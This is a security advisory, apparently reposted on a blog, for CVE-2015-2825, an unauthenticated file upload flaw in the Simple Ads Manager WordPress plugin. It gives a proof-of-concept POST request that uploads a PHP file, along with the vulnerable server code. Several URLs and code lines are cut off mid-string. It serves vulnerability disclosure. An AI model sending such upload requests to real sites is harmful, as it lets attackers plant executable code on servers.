Upload
#Product: Wordpress plugin Simple Ads Manager
#Vendor: https://profiles.wordpress.
#Affected version: Simple Ads Manager 2.5.94
#Download link: https://wordpress.org/plugins/
#CVE ID: CVE-2015-2825
#Author: Tran Dinh Tien (tien.d.tran@itas.vn) & ITAS Team
::PROOF OF CONCEPT::
+ REQUEST
POST /wp-content/plugins/simple-
Host: targer.com
Accept: text/html,application/xhtml+
Content-Type: multipart/form-data;
boundary=---------------------
Content-Length: 683
-----------------------------
Content-Disposition: form-data; name="uploadfile"; filename="info.php"
Content-Type: application/x-php
<?php phpinfo(); ?>
-----------------------------
Content-Disposition: form-data; name="action"
upload_ad_image
-----------------------------
+ Vulnerable file: simple-ads-manager/sam-ajax-
+ Vulnerable code: from line 303 to 314
case 'sam_ajax_upload_ad_image':
if(isset($_POST['path'])) {
$uploadDir = $_POST['path'];
$file = $uploadDir . basename($_FILES['uploadfile']
if ( move_uploaded_file( $_FILES['uploadfile']['tmp_
{
$out = array('status' => "success");
} else {
$out = array('status' => "error");
}
}
break;
+ REFERENCE:
-
http://www.itas.vn/news/ITAS-
s-in-Hakin9-IT-Security-
- https://www.youtube.com/watch?
Best regard
--------------------
ITAS Team (www.itas.vn)
Komentarų nėra:
Rašyti komentarą